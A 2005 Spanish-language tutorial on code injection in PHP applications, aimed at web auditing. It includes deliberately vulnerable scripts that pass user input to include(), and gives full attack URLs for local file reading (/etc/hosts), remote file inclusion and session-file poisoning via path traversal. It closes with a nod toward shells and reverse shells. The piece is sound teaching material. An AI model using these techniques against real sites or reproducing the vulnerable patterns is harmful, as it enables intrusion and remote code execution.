INYECCIóN DE CóDIGO EN APLICACIONES PHP
Transcripción
INYECCIóN DE CóDIGO EN APLICACIONES PHP
INYECCIóN DE CóDIGO EN APLICACIONES PHP Autor: Iñaki Rodriguez (2005) ([email protected]) 0 - Introducción Este sencillo artículo nos introduce un poco en el mundo de las auditorías de aplicaciones web. En esta entrega nos centraremos en la inyección de código php dentro de otras aplicaciones. Esta técnica se basa en encontrar aplicaciones web que tomen como argumentos un fichero que después pasarán a las funciones de inclusión de PHP. 1 - Las funciones de inclusión de PHP (include(), include_once(), require () y require_once()) Toda aplicación que pretenda estar bien programada, requiere que sea estructurada en diferentes componentes. Estos componentes suelen estar divididos en ficheros, así por ejemplo, una aplicación puede separar la parte de tratamiento de sql en un fichero, la parte de presentación de los datos en otro y la lógica de la aplicación en un tercero. Normalmente, la aplicación llamará a estos ficheros para importar sus funciones, objetos, clases,... Al estilo de C con su directiva #include "fichero.h", PHP implementa 4 funciones para importar un fichero: Nota: Sacado de la documentación oficial de php (www.php.net) - require(): Incluye y evalúa el contenido del archivo especificado. Si el archivo que se intenta incluir no existe, devuelve un error fatal que para la ejecución del script. - require_once(): Incluye y evalúa una única vez el contenido del fichero especificado. Como su hermana require(), en caso de que el fichero no existe, devuelve un error fatal. - include(): Incluye y evalúa el contenido del archivo especificado. Al contrario que las funciones de la familia require(), en caso de que el fichero especificado no exista, devuelve un warning y sigue la ejecución del script. - include_once(): Incluye y evalúa una única vez el contenido del archivo especificado. Al contrario que las funciones de la familia require(), en caso de que el fichero especificado no exista, devuelve un warning y sigue la ejecución del script. Estas funciones reciben un único argumento, el fichero a incluir dentro de la aplicación. Nota que el manual dice que incluye y EVALUA, lo cual quiere decir que no solo añade las funciones que pueda contener el archivo, sino que en caso de que haya código php fuera de función o incluso texto fuera de los tags de php (<? ?>), lo evalúa y lo ejecuta. En caso de texto plano, solo lo muestra incluido en la página desde donde se llama. Otra particularidad de las funciones de inclusión es la posibilidad de incluir ficheros ubicados en otro servidor, pasando como argumento la url del fichero. Ej: <? include("http://remotehost/file.inc"); ?> Esto descarga la página y la evalúa. Aquí hay que tener presente que para ser evaluada como código php, la página debe devolverse con los tags de php, por lo tanto si el servidor remoto gestiona los ficheros con extensión php como código php, tendréis que cambiar la extensión para que se devuelva sin interpretar para que nuestro servidor sea el que interprete ese código. 3 - Lectura de ficheros Uno de los grandes problemas de las aplicaciones web es el exceso de confianza por parte de sus desarrolladores. Durante la investigación para este artículo, estuve buscando al azar webs escritas en PHP en busca de posibles vulnerabilidades. Muchas de ellas eran vulnerables a diferentes tipos de ataques (SQL Injection en valores numéricos, lectura y/o inyección de código,...). El problema radica en que no se comprueban lo suficiente o directamente, no se comprueba los valores que el usuario introduce. Veamos este trozo de código para comprenderlo mejor: inyec1.php <H1><center>Ejemplo de inyección de código php - 1</center></H1> <p> Estamos viendo: <i> <? //Comprobamos si hemos añadido la variable file (http://localhost/inyec1.php?file=algo) if($_GET["file"]) { echo $_GET["file"]; } else { echo "Nada"; } ?> </i><p> <pre> <? include($_GET["file"]); ?> </pre> Ahora abrimos un navegador y escribimos en la url: http://localhost/inyec1.php?file=/etc/hosts Como veréis lo que muestra es el fichero hosts del sistema en texto plano. También es posible ejecutar código php. Copiad el siguiente código: inyec1.inc <li>Esto es una muestra de inclusión de código html y php a la vez <? echo "<li>Y aquí está el código php"; ?> Y en el navegador escribimos: http://localhost/inyec1.php?file=inyec1.inc Veremos el código html y el código php ejecutado en una página. 4 - Inyección de código en servidores remotos Otra de las particularidades de la función include() de php es la de poder incluir ficheros remotos: http://localhost/inyec1.php?file=http://remotehost/inyec1.inc Este es uno de los métodos que usaremos para inyectar código php dentro de la aplicación. La función descarga el fichero del servidor remoto e interpreta el texto independientemente de la extensión. Por lo tanto, ¿el código php se ejecutaría en nuestros servidor o en el servidor remoto? Teóricamente en el nuestro... pero no. Como he dicho antes, php interpreta el texto, por lo tanto hace falta que el archivo contenga los tags de apertura y cierre de php (<? ?>). Así, si el otro servidor tiene asociada la extensión .php, nosotros solo veríamos el código interpretado por el servidor remoto. Para que el invento funcione, el fichero debería tener una extensión que no fuera interpretada por el servidor remoto, por ejemplo htm, txt, csv, etc. Cambiadle la extensión al fichero inyec1.inc.php a .txt y veréis. 5 – Inyección de código mediante variables de sesión En muchas ocasiones, las aplicaciones que estamos auditando están programadas para que añadan alguna extensión o algún directorio a la variable que introducimos como ruta del fichero: inyec2.php <H1><center>Ejemplo de inyección de código php – 2 </center></H1> <p> Estamos viendo: <i> <? //Comprobamos si hemos añadido la variable file (http://localhost/inyec1.php?file=algo) if($_GET["file"]) { echo $_GET["file"]; } else { echo "Nada"; } ?> </i><p> <pre> <? include(“/var/www/vulnerable”.$_GET["file"]); ?> </pre> Esto hace imposible poder inyectar código a través de un servidor remoto. Sin embargo a veces existe la posibilidad de crear código dentro del propio servidor. Por defecto, PHP almacena las variables de sesión (aquellas que son registradas con la función session_register()) en un fichero del estilo sess_phpsessid donde phpsessid es el valor del id de sesión que proporciona PHP a través de la función session_start(). Este valor se obtiene mediante la cookie que envía el servidor, la variable es PHPSESSID. El siguiente ejemplo de código muestra el ID de sesión que te proporciona PHP así como un par de variables que vamos a registrar: inyec3.php <? session_start(); ?> <H1><center>Ejemplo de inyección de código php - 3 </center></H1> <? if($_GET["id_user"]) { $_SESSION["id_user"]=$_GET["id_user"]; } else { $_SESSION["id_user"]="0"; } if($_GET["md5pass"]) { $_SESSION["md5pass"]=$_GET["md5pass"]; } else { $_SESSION["md5pass"]=md5("anonymous"); } ?> </i><p> <pre> Su ID de sesión es <i> <?echo $_COOKIE["PHPSESSID"]; ?> <br> Variables: <p> <li>id_user: <b> <?echo $_GET["id_user"];?></B> <li>md5pass:<b> <?echo $_GET["md5pass"];?></b> <br> <li> Fichero: <? if($_GET["file"]) { echo $_GET["file"].”<p>; include("/var/www/vulnerable".$_GET["file"]); } else { echo "Ninguno"; } ?> </pre> Bien, vamos a ver como funciona este script. Primero inicia la sesión (session_start). Esto nos da un PHPSESSID nuevo si no estuviera iniciada. Después comprueba si se les pasan parámetros a través de la url (método GET). En concreto le interesan los parámetros id_user y md5pass. En caso de que así sea, los almacena como variables de sesión. Por ultimo, muestra la información que le hemos pasado y opcionalmente, un fichero que podemos incluir mediante el parámetro file de la url. Este es un ejemplo: http://localhost/vulnerable/inyec3.php?id_user=99&md5pass=mipass Veremos algo como esto: Ejemplo de inyección de código php - 3 Su ID de sesión es f67939015b44a3dde47e4e8ca2f8b246 Variables: id_user: 99 md5pass: mipass Fichero: Ninguno Ahora vamos a ver de que manera php almacena las variables de sesión por defecto. Vamos a intentar inyectar el fichero donde almacena la variable de session. Depende de la distribución se almacena en un sitio y otro. En mi caso (Debian Sarge) se guardan en /var/lib/php4 aunque suelen estar en /tmp. El fichero por defecto tiene el nombre sess_iddesesion donde iddesesion es la variable PHPSESSID que nos envía el servidor: http://localhost/vulnerable/inyec3.php?id_user=99&md5pass=mipass&file=../../../. ./../../../../../var/lib/php4/sess_f67939015b44a3dde47e4e8ca2f8b246 Hemos tenido que especificar la ruta usando los .. para ir bajando de nivel, puesto que el script nos añadía /var/www/vulnerable al nombre del fichero que le pasamos como variable file : Ejemplo de inyección de código php - 3 Su ID de sesión es f67939015b44a3dde47e4e8ca2f8b246 Variables: id_user: 99 md5pass: mipass Fichero: ../../../../../../../../../var/lib/php4/sess_f67939015b44a3dde47e4e8ca2f8b246 id_user|s:2:"99";md5pass|s:6:"mipass"; Ahora vamos a inyectar código aprovechando que las variables que se pasan al script las almacena en ese fichero: http://localhost/vulnerable/inyec3.php?id_user=99&md5pass=<?phpinfo();? >&file=../../../../../../../../../var/lib/php4/sess_f67939015b44a3dde47e4e8ca2f8b246 Y el resultado es: Ejemplo de inyección de código php - 3 Su ID de sesión es f67939015b44a3dde47e4e8ca2f8b246 Variables: id_user: 99 md5pass: Fichero: ../../../../../../../../../var/lib/php4/sess_f67939015b44a3dde47e4e8ca2f8b246 id_user|s:2:"99";md5pass|s:14:" PHP Version 4.3.10-16 Y así tenemos la manera de inyectar código a través de las variables de sesión de php. Una vez que hemos conseguido encontrar la vía, lo demás queda a la imaginación del lector (shells, shells inversas, scripts remotos,...). 6 – Créditos Actualmente trabajo como Administrador de Sistemas para ACKSTORM S.L. (www.ackstorm.es) y en mis ratos libres colaboro con varias asociaciones como: - Amcbcn (www.amcbcn.org) – Asociación que promueve talleres de radio, asesora a otras asociaciones en materia asociativa así como en temas relacionados con las tecnologías de la información. - Globalchat (www.globalchat.org) – Globalchat es una de las redes de Chat más antiguas de España. Su visión del IRC es completamente altruista y desarrolla proyectos propios de IRC. - ASSL (www.assl-site.net) – Asociación de soporte al Software Libre. Esta gente nació en la universidad de Mataró y desde sus inicios, ha impulsado el uso del software libre en todos los ámbitos, no sólo el académico. Organiza charlas y otros eventos. - Todo-Linux.com (www.todo-linux.com) – Desde esta web, se informan de noticias de todo tipo, pero sobre todo de Linux y todo lo que le rodea. Especialmente recomendable su foro. También quisiera agradecer a Joan Carles Nuñez (ASSL) por animarme a terminar el documento así como a mi novia, Lucía Reina, por aguantarme y esperar estoicamente a que le hiciera caso mientras lo escribía. Si queréis poneros en contacto conmigo, podéis escribirme a la dirección [email protected].